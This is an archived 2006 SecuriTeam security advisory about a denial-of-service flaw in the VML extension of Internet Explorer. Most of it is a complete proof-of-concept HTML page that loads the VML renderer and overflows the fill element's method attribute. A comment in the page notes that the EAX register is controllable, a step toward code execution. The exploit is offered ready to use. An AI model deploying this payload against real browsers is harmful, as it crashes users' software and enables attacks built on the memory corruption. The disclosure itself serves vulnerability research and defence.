

[EXPL] Internet Explorer VML DoS (Exploit)

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2006-09/msg00029.html>

- *From:* SecuriTeam <support@xxxxxxxxxxxxxx>
 - *Date:* 20 Sep 2006 17:45:39 +0200
-

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>
-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.
<http://www.securiteam.com/maillinglist.html>

Internet Explorer VML DoS (Exploit)

SUMMARY

Vulnerability in the VML extention of Internet Explorer allows for denial of service.

DETAILS

Exploit:

<!--

Currently just a DoS

EAX is controllable and currently it crashes when trying to move EBX into the location pointed to by EAX

Shirkdog

-->

<html xmlns:v="urn:schemas-microsoft-com:vml">

<head>

<object id="VMLRender"

classid="CLSID:10072CEC-8CC1-11D1-986E-00A0C955B42E">

[EXPL] Internet Explorer VML DoS (Exploit)

```

</object>
<style>
v\:* { behavior: url(#VMLRender); }
</style>
</head>

<body>

<v:rect style='width:120pt;height:80pt fillcolor="red">
<v:fill
method="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAABCD01" angle="-45"
focus="100%" focusposition=".5,.5" focussize="0,0"
type="gradientRadial" />
</v:rect>

</body>
</html>

```

ADDITIONAL INFORMATION

The original article can be found at:
<<http://www.milw0rm.com/exploits/2400>>
<http://www.milw0rm.com/exploits/2400>

=====

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to:
list-unsubscribe@xxxxxxxxxxxxxxxxx
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxxxxxxxxxxx

=====
=====

DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.